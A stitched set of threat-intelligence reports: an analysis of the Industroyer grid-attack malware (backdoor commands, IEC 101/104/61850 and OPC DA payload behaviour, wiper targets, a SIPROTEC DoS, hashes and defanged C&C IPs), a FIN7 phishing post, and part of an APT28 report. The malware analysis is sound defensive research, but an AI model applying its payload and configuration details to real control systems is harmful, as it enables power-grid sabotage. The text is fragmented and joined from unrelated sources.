+The main backdoor component supports the following commands:
+Command ID
+Figure 2. The decompiled main backdoor code has a check for time-of-day.
+Purpose
+Execute a process
+Execute a process under a specific user account.
+Credentials for the account are supplied by the
+attacker
+Download a file from C&C server
+Copy a file
+Win32/Industroyer
+Command ID
+Purpose
+Execute a shell command
+Execute a shell command under a specific user
+account. Credentials for the account are supplied
+by the attacker
+Quit
+Stop a service
+Stop a service under a specific user account.
+Credentials for the account are supplied by
+the attacker
+Start a service under a specific user account.
+Credentials for the account are supplied by
+the attacker
+Replace "Image path" registry value for a service
+Once the attackers obtain administrator privileges, they can upgrade
+the installed backdoor to a more privileged version that is executed as
+a Windows service program. To do this they pick an existing, non-critical
+Windows service and replace its ImagePath registry value with the path of
+the new backdoor
+s binary.
+The functionality of the main backdoor that works as a Windows service
+is the same as just described. However, there are two small differences:
+first the backdoor
+s version is 1.1s, instead of 1.1e, and second, there is code
+obfuscation. The code of this version of the backdoor is mixed with junk
+assembly instructions.
+Figure 3. The obfuscated assembly code of the main backdoor that works as
+a Windows service.
+Additional backdoor
+The additional backdoor provides an alternative persistence mechanism
+that allows the attackers to regain access to a targeted network in case the
+main backdoor is detected and/or disabled.
+This backdoor is a trojanized version of the Windows Notepad application.
+This is a fully functional version of the application, but the malware authors
+have inserted malicious code that is executed each time the application is
+launched. Once the attackers gain administrator privileges, they are able to
+replace the legitimate Notepad manually.
+The inserted malicious code is heavily obfuscated, but once the code is
+decrypted it connects to a remote C&C server, which is different to the one
+linked in the main backdoor, and downloads a payload. This is in the form
+Win32/Industroyer
+of shellcode that is loaded directly into memory and executed. In addition,
+the inserted code decrypts the original Windows Notepad code, which
+is stored at the end of the file, and then passes execution to it. Thus, the
+Notepad application works as expected.
+Launcher component
+This component is a separate executable responsible for launching the
+payloads and the Data wiper component.
+The Launcher component contains a specific time and date. Analyzed
+samples contained two dates, 17th December 2016 and 20th December 2016.
+Once one of these dates is reached the component creates two threads.
+The first thread makes attempts to load a payload DLL, while the second
+thread waits one or two hours (it depends on the Launcher component
+version) and then attempts to load the Data wiper component. The priority
+for both threads is set to THREAD_PRIORITY_HIGHEST, which means that
+these two threads receive a higher than normal share of CPU resources
+from the operating system.
+The name of the payload DLL is supplied by the attackers via a command
+line parameter supplied in one of the main backdoor
+execute a shell
+command
+ commands. The Data wiper component is always named
+haslo.
+dat. The expected command lines are of the form:
+Figure 4. Comparison between original Notepad binary code (at the left)
+and backdoored binary code.
+%LAUNCHER%.exe %WORKING_DIRECTORY% %PAYLOAD%.dll
+%CONFIGURATION%.ini
+Each argument on the command line represents the following:
+ %LAUNCHER%.exe is the filename of the Launcher component
+ %WORKING_DIRECTORY% is the directory where the payload DLL and
+configuration is stored
+ %PAYLOAD%.dll is the filename of the payload DLL
+ %CONFIGURATION%.ini is the file that stores configuration data for the
+specified payload. The path to this file is supplied to the payload DLL by
+the Launcher component
+The payload and Data wiper components are standard Windows DLL files.
+In order to be loaded by the Launcher component they must export a
+function named Crash as seen in Figure 5.
+Win32/Industroyer
+Windows device names (usually COM ports), the number of Information
+Object Address (IOA) ranges, and the beginning and ending IOA values
+for the specified number of IOA ranges. IOA is a number that identifies
+a particular data element in the device. Figure 6 illustrates a 101 payload
+configuration file with two defined IOA ranges, 10-15 and 20-25.
+Figure 5. Example payload DLL that has internal name Crash101.dll
+and Crash export function.
+101 payload component
+This payload DLL has the filename 101.dll and is named after IEC 101 (aka
+IEC 60870-5-101), an international standard that describes a protocol for
+monitoring and controlling electric power systems. The protocol is used for
+communication between industrial control systems and Remote Terminal
+Units (RTUs). The actual communication is transmitted through a serial
+connection.
+The 101 payload component partly implements the protocol described in
+the IEC 101 standard and is able to communicate with an RTU or any other
+device with support for that protocol.
+Once executed, the 101 payload component parses the configuration stored
+in its INI file. The configuration may contain several entries: process name,
+Figure 6. An example of a 101 payload DLL configuration.
+The name of the process specified in the configuration belongs to an
+application the attackers suspect is running on the victim machine. It
+should be the application the victim machine uses to communicate
+through serial connection with the RTU. The 101 payload attempts to
+terminate the specified process and starts to communicate with the
+specified device, using the CreateFile, WriteFile and ReadFile
+Windows API functions. The first COM port from the configuration file is
+used for the actual communication and the two other COM ports are just
+opened to prevent other processes accessing them. Thus, the 101 payload
+component is able to take over and maintain control of the RTU device.
+This component iterates through all IOAs in the defined IOA ranges.
+For each such IOA it constructs two 
+select and execute
+ packets, one
+with a single command (C_SC_NA_1) and one with a double command
+(C_DC_NA_1) and sends these to the RTU device. The main goal of the
+component is to change the On/Off state of single command type IOA
+Win32/Industroyer
+and double command type IOA. Specifically, the 101 payload has three
+stages: in the first stage this component attempts to switch IOAs to their
+Off state, in the second stage it attempts to invert IOA states to On, and
+in the final stage the component switches IOA states to Off again.
+104 payload component
+This payload DLL has the filename 104.dll and is named after IEC 104 (aka
+IEC 60870-5-104), an international standard. The IEC 104 protocol extends
+IEC 101, so the protocol can be transmitted over a TCP/IP network.
+Due to its highly configurable nature, this payload can be customized
+by the attackers for different infrastructures. Figure 8 shows what a
+configuration file may look like.
+Figure 8. An example of 104 payload DLL configuration.
+Once executed, the 104 payload DLL attempts to read its configuration file.
+As described above, the path for the configuration file is supplied by the
+Launcher component.
+The configuration contains a STATION section followed by properties
+that configure how the 104 payload should work. The configuration may
+contain multiple STATION entries.
+Figure 7. An example of a 101 payload packet, after being dissected in Kaitai Struct WebIDE.
+Win32/Industroyer
+Our analysis of this component reveals the following possible
+configuration properties:
+Property
+Expected value
+Purpose
+operation
+range or
+sequence or shift
+Specifies iteration type for
+Information Object Addresses
+(IOA)
+Property
+Expected value
+Purpose
+target_ip
+IP address
+The IP address that will be used
+for the communication using IEC
+104 protocol standard
+range
+Specific format of Specifies range of Information
+IOAs
+Object Addresses (IOA)
+target_port
+Port number
+Self-explanatory
+sequence
+uselog
+1 or 0
+Enables or disables logging
+to a file
+Specific format of Specifies sequence of Information
+IOAs
+Object Addresses (IOA)
+shift
+logfile
+Filename
+Specifies the filename for the log,
+if enabled
+Specific formatof
+IOAs
+stop_comm_
+service
+1 or 0
+Enables or disables termination of
+the process
+stop_comm_
+service_name
+Process name
+Specifies the process name that
+will be terminated
+timeout
+Timeout in
+milliseconds
+Specifies timeout between send
+and recv calls. Default value:
+15000
+socket_timeout
+Timeout in
+milliseconds
+Specify the receiving timeout.
+Default value: 15000
+silence
+1 or 0
+Enables or disables console output
+asdu
+Integer
+Specifies ASDU (Application
+Service Data Unit) address also
+known as sector
+first_action
+on or off
+Specifies the Switch value in ASDU
+packet for first iteration
+change
+1 or 0
+Specifies that the Switch value in
+ASDU packet should be inverted
+during iterations
+command_type
+def or short
+or long or persist
+Specifies command pulse duration
+for qualifier of command (QOC)
+Specifies shift of Information
+Object Addresses (IOA)
+Once the configuration file is read, the 104 payload creates a thread for
+each STATION section defined in the configuration file. In each such
+thread, the 104 payload will attempt to communicate with the specified
+IP address using the protocol described in the IEC 104 standard. Before the
+connection is made, the 104 payload attempts to terminate the legitimate
+process that is normally responsible for IEC 104 communication with the
+device. It does so only if the stop_comm_service property is specified
+in its configuration. By default, the 104 payload terminates the process
+named D2MultiCommService.exe, or the process name specified in its
+configuration.
+The main idea behind the 104 payload is relatively simple. It connects to
+the specified IP address and starts to send packets with the ASDU address
+that was defined in its configuration. The goal of this communication is to
+interact with an IOA of a single command type.
+In the configuration file, the attacker can define the operation property to
+specify exactly how single command type IOAs will be iterated.
+The first such operation mode is the range mode. The attackers use
+this mode in order to discover possible IOAs in the targeted device. The
+attackers have to take this approach because the protocol described in
+the IEC 104 standard does not provide a specific method to obtain such
+information.
+Win32/Industroyer
+The range mode has two stages. During the first stage, once the range of
+IOAs is obtained from the configuration file, the 104 payload connects to
+the target IP address and starts to iterate through the specified IOAs. To
+each such IOA the 104 payload sends 
+select and execute
+ packets in order
+to switch the state and to confirm whether the IOA belongs to the single
+command type.
+enabled, so between loop iterations the payload flipped the switch value
+from On to Off and wrote it to the log.
+Figure 9. An example of a 104 payload packet, after being dissected by Wireshark.
+Once all possible IOAs from the specified range are iterated, the 104
+payload switches to the second stage of range mode. If logging is enabled,
+the payload writes Starting only success to the log. The rest of this
+second stage is an infinite loop that uses the previously discovered IOAs of
+single command type. In the loop the payload constantly sends 
+select and
+execute
+ packets. In addition, if the option change is defined, the payload
+flips the On/Off state between loop steps.
+Figure 10 demonstrates the log file that was produced by the 104 payload
+during our analysis. It shows the payload iterated IOAs from 10 to 15, and
+once IOAs of the single command type were discovered, the payload
+started to use them in the loop. The configuration had the change option
+Figure 10. Example log file produced by the 104 payload
+The second operation mode is the shift mode. This is very similar to
+the range mode. The attacker defines, in the configuration file, a range of
+IOAs and shift values. Once the 104 payload is activated it does everything
+the same way as in range mode; however, once all IOAs in the defined
+range are iterated, it starts to iterate over the new range. The new range is
+calculated by adding the shift values to the default range values.
+The third operation mode is the sequence mode. It can be used by
+attackers once they know the values of all IOAs of the single command
+type that are supported by the connected device. This payload immediately
+Win32/Industroyer
+executes an infinite loop, sending 
+select and execute
+ packets to the IOAs
+defined in the configuration file.
+Aside from its logging capability, the 104 payload can output debug
+information to the console, as seen in Figure 11.
+61850 payload component
+Unlike the 101 and 104 payloads, this payload component exists as a
+standalone malicious tool comprising an executable named 61850.exe
+and the DLL 61850.dll. It is named after the IEC 61850 standard. This
+standard describes a protocol used for multivendor communication among
+devices that perform protection, automation, metering, monitoring, and
+control of electrical substation automation systems. The protocol is very
+complex and robust, but the 61850 payload uses only a small subset of the
+protocol to produce its disruptive effect.
+Once executed, the 61850 payload DLL attempts to read the configuration
+file, the path to which is supplied by the Launcher component. The
+standalone version defaults to reading its configuration from i.ini. The
+configuration file is expected to contain a list of IP addresses of devices
+capable of communicating via the protocol described in the IEC 61850
+standard.
+Figure 11. The console output of the 104 payload.
+If the configuration file is not present, then this component enumerates all
+connected network adaptors to determine their TCP/IP subnet masks. The
+61850 payload then enumerates all possible IP addresses for each of these
+subnet masks, and tries to connect to port 102 on each of those addresses.
+Therefore, this component has the ability to discover relevant devices in the
+network automatically.
+Otherwise, if a configuration file is present and it contains target IP
+addresses, this component connects to port 102 on those IP addresses and
+on IP addresses that were discovered automatically.
+Once this component connects to a target host, it sends a Connection
+Request packet using the Connection Oriented Transport Protocol, as seen
+in Figure 12.
+Win32/Industroyer
+Figure 12. A Connection Request packet, after dissection by Wireshark.
+Figure 13. The dissected MMS getNameList request in Wireshark.
+If the target device responds appropriately, the 61850 payload then sends
+an InitiateRequest packet using the Manufacturing Message Specification
+(MMS). If the expected answer is received, it continues, sending an MMS
+getNameList request. Thereby, the component compiles a list of object
+names in a Virtual Manufacturing Device (VMD).
+Afterwards, the 61850 payload parses data received in response to these
+requests, searching for variables that contain following combinations of
+strings:
+Next, this component enumerates the objects discovered in the previous
+step and sends the device domain-specific getNameList requests with
+each object name. This enumerates named variables in a specific domain.
+ CSW, CO, Pos, Oper, but not $T
+ CSW, CF, Pos, and Model
+ CSW, ST, Pos, and stVal
+ CSW, CO, Pos, SBO, but not $T
+The string CSW is a name for logical nodes, which are used to control
+circuit breakers and switches.
+For variables that contain the Model or stVal string the 61850 payload sends
+an additional MMS Read request. For some of the variables this component
+may also issue an MMS Write request that will change its state.
+Win32/Industroyer
+The 61850 payload produces a log file of its operations that contains the IP
+addresses, MMS domains, named variables and the node states (open or
+closed) of its targets.
+OPC DA payload component
+The OPC DA payload component implements a client for the protocol
+described in the OPC Data Access specification. OPC (OLE for Process
+Control) is a software standard and specification that is based on Microsoft
+technologies such as OLE, COM, and DCOM. The Data Access (DA) part of
+the OPC specification allows real-time data exchange between distributed
+components, based on a client
+server model.
+This component exists as a standalone malicious tool with the filename
+OPC.exe and a DLL, which implement both 61850 and OPC DA
+payload functionalities. This DLL is named, internally in PE export table,
+OPCClientDemo.dll, suggesting that the code of this component may be
+based on the open source project OPC Client.
+Next the component uses the IOPCBrowseServerAddressSpace
+interface to enumerate all OPC items on the server. Specifically, it looks for
+items that contain the following strings in their name:
+ ctlSelOn
+ ctlOperOn
+ ctlSelOff
+ ctlOperOff
+ \Pos and stVal
+The names of these items may suggest that attackers are interested in
+OPC items provided by OPC servers that belong to solutions from ABB,
+such as their MicroSCADA range. Figure 15 demonstrates an example list of
+OPC items that contain names with similar strings. This list of OPC items is
+received by the OPC Process Objects List Tool from ABB.
+Figure 14. The PE export reveals the internal DLL name of the OPC DA payload.
+The OPC DA payload does not require any kind of configuration file.
+Once executed by the attacker, it enumerates all OPC servers using the
+ICatInformation::EnumClassesOfCategories method with CATID_
+OPCDAServer20 category identifier and IOPCServer::GetStatus to
+identify the ones running.
+Figure 15. An example of OPC items names in IN field received using
+OPC Process Objects List Tool.
+Win32/Industroyer
+The attackers use the string Abdul when they add a new OPC group.
+Possibly this string is used by the attackers as a slang term when referring
+to the ABB solutions.
+The component writes the OPC server name, OPC item name state, quality
+code and value to the log file. The logged values are separated with the
+following headers:
+ [*ServerName: %SERVERNAME%] [State: Before]
+ [*ServerName: %SERVERNAME%] [State: After ON]
+ [*ServerName: %SERVERNAME%] [State: After OFF]
+Data wiper component
+The data wiper component is a destructive module that is used in the final
+stage of an attack. The attackers are using this component to hide their
+tracks and to make recovery difficult.
+Figure 16. The disassembled code of the OPC DA component that uses the Abdul string.
+On the final step, the OPC DA payload attempts to change the state of
+discovered OPC items using the IOPCSyncIO interface by writing the 0x01
+value twice.
+This component has the filename haslo.dat or haslo.exe and can
+be executed by the Launcher component or used as a standalone
+malicious tool.
+Once executed it attempts to enumerate all keys in the registry that list
+Windows services:
+ HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
+It attempts to set the registry value ImagePath with an empty string in
+each of the entries found. This operation will make the operating system
+unbootable.
+The next step is actual deletion of file contents. The component
+enumerates files with specific file extensions on all drives connected to
+computer, from C:\ to Z:\. It should be noted that during enumeration
+the component skips files that are located in subdirectory that contains
+Windows in its name.
+Figure 17. Disassembled code of OPC DA payload that uses IOPCSyncIO interface.
+The component rewrites file content with meaningless data obtained from
+newly allocated memory. In order to perform this operation thoroughly the
+component attempts to rewrite files twice. The first attempt happens once
+the file is found on a drive. If the first attempt is unsuccessful then the wiper
+malware makes a second attempt, but before that the malware terminates
+Win32/Industroyer
+all processes except those included in a list of critical system processes. The
+list of these processes is displayed in Figure 18.
+To speed up the wiping operation this component rewrites only partial file
+content at the beginning of the file. The amount of data to be rewritten
+depends on file size: the smallest amount of data will be rewritten for files
+less than or equal to 1Mb (4096 bytes); the largest amount of data will be
+rewritten for files less than or equal to 10Mb (32768 bytes).
+Finally, this component attempts to terminate all processes (including
+system processes) except its own. This will result in the system becoming
+unresponsive and eventually crashing.
+*.SCL
+*.cxm
+*.7z
+*.bak
+*.elb
+*.exe
+*.dll
+*.cid
+*.epl
+*.scd
+*.mdf
+*.pcmp
+*.ldf
+This list contains filename extensions that are used in a standard
+environment, such as Windows binaries (.exe/.dll), archives (.7z /.tar/.rar/.
+zip), backup files (.bak/.bk/.bkp), Microsoft SQL server files (.mdf/.ldf),
+and various configuration files (.ini/.xml). In addition, the component also
+wipes files that may be used in industrial control systems, such as files
+written using Substation Configuration description Language (.scl/.cid/.scd) and
+there are many files and file extensions that are used by various products
+from ABB. For example, a file named SYS_BASCON.COM is used by ABB
+solutions for storing configuration data, and files with the .paf (Product
+Authorization File) filename extension are used to store license data
+for ABB MicroSCADA products.
+Additional tools: port scanner tool
+Figure 18. List of processes that are not terminated on second rewriting attempt.
+The filename masks targeted by the data wiper component to be
+overwritten are:
+SYS_BASCON.COM
+*.pcmi
+*.bk
+*.pcmt
+*.bkp
+*.PL
+*.ini
+*.log
+*.paf
+*.xml
+*.zip
+*.XRF
+*.CIN
+*.rar
+*.trc
+*.prj
+*.tar
+The attackers
+ arsenal includes a port scanner that can be used to map
+the network and to find computers relevant to their attack. Interestingly,
+instead of using software already existing, the attackers built their own
+custom-made port scanner. As is evident from Figure 19, the attacker can
+define a range of IP addresses and a range of network ports that are to be
+scanned by this tool.
+Figure 19. The port scanner tool usage example.
+Win32/Industroyer
+Additional tools: DoS tool
+Another tool from the attackers
+ arsenal is a Denial-of-Service (DoS) tool
+that can be used against Siemens SIPROTEC devices. This tool leverages
+the CVE-2015-5374 vulnerability in order to render a device unresponsive.
+Once this vulnerability is successfully exploited, the target device stops
+responding to any commands until it is rebooted manually.
+To exploit this vulnerability the attackers hardcoded the device IP addresses
+into this tool. Once the tool is executed it sends specifically crafted packets
+to port 50,000 of the target IP addresses using UDP. The UDP packet
+contains only 18 bytes.
+Figure 20. Content of UDP packet used during exploitation of CVE-2015-5374.
+Conclusion
+The commonly-used industrial control protocols used in this malware
+were designed decades ago without taking security into consideration.
+Therefore, any intrusion into an industrial network with systems using
+these protocols should be considered as 
+game over
+Indicators of Compromise (IoC)
+SHA-1 hashes:
+F6C21F8189CED6AE150F9EF2E82A3A57843B587D
+CCCCE62996D578B984984426A024D9B250237533
+8E39ECA1E48240C01EE570631AE8F0C9A9637187
+2CB8230281B86FA944D3043AE906016C8B5984D9
+79CA89711CDAEDB16B0CCCCFDCFBD6AA7E57120A
+94488F214B165512D2FC0438A581F5C9E3BD4D4C
+5A5FAFBC3FEC8D36FD57B075EBF34119BA3BFF04
+B92149F046F00BB69DE329B8457D32C24726EE00
+B335163E6EB854DF5E08E85026B2C3518891EDA8
+The investigation behind the Ukrainian power outage last December is still
+ongoing and it is currently not confirmed that the malware analyzed here
+was the direct cause. Nevertheless, we believe that to be a very probable
+explanation, as the malware is able to directly control switches and circuit
+breakers at power grid substations using four ICS protocols and contains an
+activation timestamp for December 17, 2016, the day of the power outage.
+IP addresses of C&C servers:
+We can definitely say that the Win32/Industroyer malware family is an
+advanced and sophisticated piece of malware that is used against industrial
+control systems. However, it should be noted that the malware itself is just
+a tool in the hands of an even more advanced and very capable malicious
+actor. Using logs produced by the toolset and highly configurable payloads,
+the attackers could adapt the malware to any comparable environment.
+Warning! Most of the servers with these IP addresses were part of Tor
+network which means that the use of these indicators could result in a
+false positive match.
+195.16.88[.]6
+46.28.200[.]132
+188.42.253[.]43
+5.39.218[.]152
+93.115.27[.]57
+FIN7 Spear Phishing Campaign Targets Personnel Involved
+in SEC Filings
+fireeye.com /blog/threat-research/2017/03/fin7_spear_phishing.html
+In late February 2017, FireEye as a Service (FaaS) identified a spear phishing campaign that appeared to be
+targeting personnel involved with United States Securities and Exchange Commission (SEC) filings at various
+organizations. Based on multiple identified overlaps in infrastructure and the use of similar tools, tactics, and
+procedures (TTPs), we have high confidence that this campaign is associated with the financially motivated threat
+group tracked by FireEye as FIN7.
+FIN7 is a financially motivated intrusion set that selectively targets victims and uses spear phishing to distribute its
+malware. We have observed FIN7 attempt to compromise diverse organizations for malicious operations 
+ usually
+involving the deployment of point-of-sale malware 
+ primarily against the retail and hospitality industries.
+Spear Phishing Campaign
+All of the observed intended recipients of the spear phishing campaign appeared to be involved with SEC filings for
+their respective organizations. Many of the recipients were even listed in their company
+s SEC filings. The sender
+email address was spoofed as EDGAR <filings@sec.gov> and the attachment was named
+Important_Changes_to_Form10_K.doc
+ (MD5: d04b6410dddee19adec75f597c52e386). An example email is
+shown in Figure 1.
+Figure 1: Example of a phishing email sent during this campaign
+We have observed the following TTPs with this campaign:
+The malicious documents drop a VBS script that installs a PowerShell backdoor, which uses DNS TXT
+records for its command and control. This backdoor appears to be a new malware family that FireEye iSIGHT
+Intelligence has dubbed POWERSOURCE. POWERSOURCE is a heavily obfuscated and modified version
+of the publicly available tool DNS_TXT_Pwnage. The backdoor uses DNS TXT requests for command and
+control and is installed in the registry or Alternate Data Streams. Using DNS TXT records to communicate is
+not an entirely new finding, but it should be noted that this has been a rising trend since 2013 likely because it
+makes detection and hunting for command and control traffic difficult.
+We also observed POWERSOURCE being used to download a second-stage PowerShell backdoor called
+TEXTMATE in an effort to further infect the victim machine. The TEXTMATE backdoor provides a reverse
+shell to attackers and uses DNS TXT queries to tunnel interactive commands and other data. TEXTMATE is
+memory resident
+ often described as 
+fileless
+ malware. This is not a novel technique by any means, but
+s worth noting since it presents detection challenges and further speaks to the threat actor
+s ability to
+remain stealthy and nimble in operations.
+In some cases, we identified a Cobalt Strike Beacon payload being delivered via POWERSOURCE. This
+particular Cobalt Strike stager payload was previously used in operations linked to FIN7.
+We observed that the same domain hosting the Cobalt Strike Beacon payload was also hosting a
+CARBANAK backdoor sample compiled in February 2017. CARBANAK malware has been used heavily by
+FIN7 in previous operations.
+Victims
+Thus far, we have directly identified 11 targeted organizations in the following sectors:
+Financial services, with different victims having insurance, investment, card services, and loan focuses
+Transportation
+Retail
+Education
+IT services
+Electronics
+All these organizations are based in the United States, and many have international presences. As the SEC is a
+U.S. regulatory organization, we would expect recipients of these spear phishing attempts to either work for U.S.based organizations or be U.S.-based representatives of organizations located elsewhere. However, it is possible
+that the attackers could perform similar activity mimicking other regulatory organizations in other countries.
+Implications
+We have not yet identified FIN7
+s ultimate goal in this campaign, as we have either blocked the delivery of the
+malicious emails or our FaaS team detected and contained the attack early enough in the lifecycle before we
+observed any data targeting or theft. However, we surmise FIN7 can profit from compromised organizations in
+several ways. If the attackers are attempting to compromise persons involved in SEC filings due to their information
+access, they may ultimately be pursuing securities fraud or other investment abuse. Alternatively, if they are tailoring
+their social engineering to these individuals, but have other goals once they have established a foothold, they may
+intend to pursue one of many other fraud types.
+Previous FIN7 operations deployed multiple point-of-sale malware families for the purpose of collecting and
+exfiltrating sensitive financial data. The use of the CARBANAK malware in FIN7 operations also provides limited
+evidence that these campaigns are linked to previously observed CARBANAK operations leading to fraudulent
+banking transactions, ATM compromise, and other monetization schemes.
+Community Protection Event
+FireEye implemented a Community Protection Event 
+ FaaS, Mandiant, Intelligence, and Products 
+ to secure all
+clients affected by this campaign. In this instance, an incident detected by FaaS led to the deployment of additional
+detections by the FireEye Labs team after FireEye Labs Advanced Reverse Engineering quickly analyzed the
+malware. Detections were then quickly deployed to the suite of FireEye products.
+The FireEye iSIGHT Intelligence MySIGHT Portal contains additional information based on our investigations of a
+variety of topics discussed in this post, including FIN7 and the POWERSOURCE and TEXTMATE malware.
+Click here for more information.
+FIREEYE iSIGHT INTELLIGENCE
+APT28:
+AT THE CENTER
+OF THE STORM
+RUSSIA STRATEGICALLY EVOLVES
+ITS CYBER OPERATIONS
+S P ECIAL R E P O RT / JAN UARY 2017
+CONTENTS
+Introduction
+Overview
+APT28 Targeting And Intrusion Activity
+Table 1 - APT28 Targeting of Political Entities and Intrusion Activity
+Table 2 - APT28 Network Activity Has Likely Supported
+Information Operations
+From Olympic Slight to Data Leak:
+Investigating APT28 at the World Anti-Doping Agency
+Conclusion
+Appendix
+SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM
+INTRODUCTION
+The Democratic National Committee
+s (DNC) June
+2016 announcement attributing its network breach
+to the Russian Government triggered an international
+debate over Russia
+s sponsorship of information
+operations against the U.S.
+At issue is the question of proof: did the Russian Government direct the group
+responsible for the breaches and related data leaks? If so, is this simply a matter
+of accepted state espionage, or did it cross a line? Was the DNC breach part
+of a concerted effort by the Russian Government to interfere with the U.S.
+presidential election?
+Unfortunately, we have failed to ask the most consequential question: how will
+Russia continue to employ a variety of methods, including hacks and leaks,
+to undermine the institutions, policies, and actors that the Russian Government
+perceives as constricting and condemning its forceful pursuit of its state aims?
+Our visibility into the operations of APT28 - a group we believe the Russian
+Government sponsors - has given us insight into some of the government
+targets, as well as its objectives and the activities designed to further them.
+We have tracked and profiled this group through multiple investigations, endpoint
+and network detections, and continuous monitoring. Our visibility into APT28
+operations, which date to at least 2007, has allowed us to understand the group
+malware, operational changes, and motivations. This intelligence has been critical
+to protecting and informing our clients, exposing this threat, and strengthening
+our confidence in attributing APT28 to the Russian Government.
+SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM
+OVERVIEW
+On December 29, 2016, the Department of Homeland Security (DHS)
+and Federal Bureau of Investigation (FBI) released a Joint Analysis
+Report confirming FireEye
+s long held public assessment that the Russian
+Government sponsors APT28. Since at least 2007, APT28 has engaged
+in extensive operations in support of Russian strategic interests.
+The group, almost certainly compromised of a sophisticated and prolific
+set of developers and operators, has historically collected intelligence on
+defense and geopolitical issues. APT28 espionage activity has primarily
+targeted entities in the U.S., Europe, and the countries of the former
+Soviet Union, including governments and militaries, defense attaches,
+media entities, and dissidents and figures opposed to the current Russian
+Government.
+Over the past two years, Russia appears to have increasingly leveraged
+APT28 to conduct information operations commensurate with broader
+strategic military doctrine. After compromising a victim organization,
+APT28 will steal internal data that is then leaked to further political
+narratives aligned with Russian interests. To date these have included
+the conflict in Syria, NATO-Ukraine relations, the European Union refugee
+and migrant crisis, the 2016 Olympics and Paralympics Russian athlete
+doping scandal, public accusations regarding Russian state-sponsored
+hacking, and the 2016 U.S. presidential election.
+This report details our observations of APT28
+targeting, and our investigation into a related
+breach. We also provide an update on shifts in the
+group
+s tool development and use, and summarize
+the tactics APT28 employs to compromise its victims.
+SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM
+APT28 TARGETING AND
+INTRUSION ACTIVITY
+In October 2014, FireEye released APT28: A Window into
+Russia
+s Cyber Espionage Operations?, and characterized
+APT28
+s activity as aligning with the Russian Government
+strategic intelligence requirements. While tracking APT28,
+we noted the group
+s interest in foreign governments and
+militaries, particularly those of European and Eastern
+European nations, as well as regional security organizations,
+such as the North Atlantic Treaty Organization (NATO)
+and the Organization for Security and Cooperation
+in Europe (OSCE), among others. Table 1 highlights
+some recent examples of this activity.
+SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM
+TA B L E 1 : A P T 2 8 TA R G E T I N G O F P O L I T I C A L E N T I T I E S A N D I N T R U S I O N AC T I V I T Y
+ENTIT Y
+OSCE
+Germany's Christian
+Democratic Union (CDU)
+Pussy Riot
+NATO, Afghan Ministry
+of Foreign Affairs, Pakistani
+Military
+TIMEFRAME
+A P T 2 8 TA R G E T I N G A N D I N T R U S I O N AC T I V I T Y
+NOVEMBER 2016
+The OSCE confirmed that it had suffered an intrusion,
+which a Western intelligence service attributed to APT28.1
+APRIL - MAY 2016
+Researchers at Trend Micro observed APT28 establish a fake
+CDU email server and launch phishing emails against CDU
+members in an attempt to obtain their email credentials and access
+their accounts. 2,3
+AUGUST 2015
+APT28 targets Russian rockers and dissidents Pussy Riot via
+spear-phishing emails.4
+JULY 2015
+APT28 used two domains (nato-news.com and bbc-news.org) to host
+an Adobe Flash zero-day exploit to target NATO, the Afghan Ministry
+of Foreign Affairs, and the Pakistani military.
+German Bundestag
+& Political Parties
+JUNE 2015
+Germany
+s Federal Office for Security in Information Technology (BSI)
+announced that APT28 was likely responsible for the spear phishing
+emails sent to members of several German political parties. The head
+of Germany
+s domestic intelligence agency, Bundesamt f
+r Verfassungsschutz (BfV), also attributed the June 2015 compromise of
+the Bundestag
+s networks to APT28. 5,6
+Kyrgyzstan Ministry
+of Foreign Affairs
+OCTOBER 2014
+THROUGH
+SEPTEMBER 2015
+FireEye iSight Intelligence identified changes made to domain name
+server (DNS) records that suggest that APT28 intercepted email traffic from the Kyrgyzstan Ministry of Foreign Affairs after maliciously
+modifying DNS records of the ministry
+s authoritative DNS servers.
+Polish Government & Power
+Exchange websites
+JUNE AND
+SEPTEMBER 2014
+APT28 employed 
+Sedkit
+ in conjunction with strategic web compromises to deliver 
+Sofacy
+ malware on Polish Government websites,
+and the websites of Polish energy company Power Exchange.7
+Gauquelin, Blaise. 
+La Russie soup
+tre responsable d
+un piratage informatique contre l
+OSCE.
+ Le Monde. 28 Dec. 2016. Web. 29 Dec. 2016.
+Trend Micro refers to activity corresponding to FireEye
+s APT28 as 
+Pawn Storm.
+Hacquebord Feike. 
+Pawn Storm Targets German Christian Democratic Union.
+ Trend Micro. 11 May 2016. Web. 29 Dec. 2016.
+Hacquebord Feike. 
+Pawn Storm
+s Domestic Spying Campaign Revealed; Ukraine and US Top Global Targets.
+ TrendLabs Security Intelligence Blog, Trend Micro. 18 August 2015. Web. 29 Dec. 2016.
+Neuer Hackerangriff auf Bundespolitiker / BSI warnt Parteien vor Cyberangriffen.
+ Westdeutscher Rundfunk. 20 Sept. 2016. Web. 29 Dec. 2016.
+Russia 
+was Behind German Parliament Hack.
+ The BBC. 13 May 2016. Web. 29 Dec. 2016.
+Kharouni, Loucif. et al. 
+Operation Pawn Storm: Using Decoys to Evade Detection.
+ Trend Micro. 22 Oct. 2014. Web. 3 Jan. 2017.
+SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM
+Since 2014, APT28 network activity has likely supported
+information operations designed to influence the domestic
+politics of foreign nations. Some of these operations have
+involved the disruption and defacement of websites, false flag
+operations using false hacktivist personas, and the theft of
+data that was later leaked publicly online.
+Table 2 highlights incidents in which victims suffered
+a compromise that FireEye iSIGHT Intelligence, other
+authorities, or the victims themselves later attributed to the
+group we track as APT28. All of these operations have aimed
+to achieve a similar objective: securing a political outcome
+beneficial to Russia.
+TA B L E 2 : A P T 2 8 N E T WO R K AC T I V I T Y H A S L I K E LY S U P P O R T E D I N F O R M AT I O N O P E R AT I O N S
+VICTIM
+TIMEFRAME
+A P T 2 8 N E T WO R K AC T I V I T Y
+A S S O C I AT E D I N F O R M AT I O N O P E R AT I O N S
+AC T I V I T Y
+SEPTEMBER 2016
+On September 13, WADA confirmed that APT28
+had compromised its networks and accessed
+athlete medical data. 8
+On September 12, 2016, the 
+Fancy Bears
+ Hack Team
+ persona
+claimed to have compromised WADA and released athletes
+medical records as 
+proof of American athletes taking doping.
+APRIL 
+SEPTEMBER 2016
+The DNC announced it had suffered a network
+compromise and that a subsequent investigation
+found evidence of two breaches, attributed to
+APT28 and APT29. FireEye analyzed the malware found on DNC networks and determined
+that it was consistent with our previous observations of APT28 tools.10,11
+In June 2016, shortly after the DNC
+s announcement, the Guccifer 2.0 persona claimed responsibility for the DNC breach
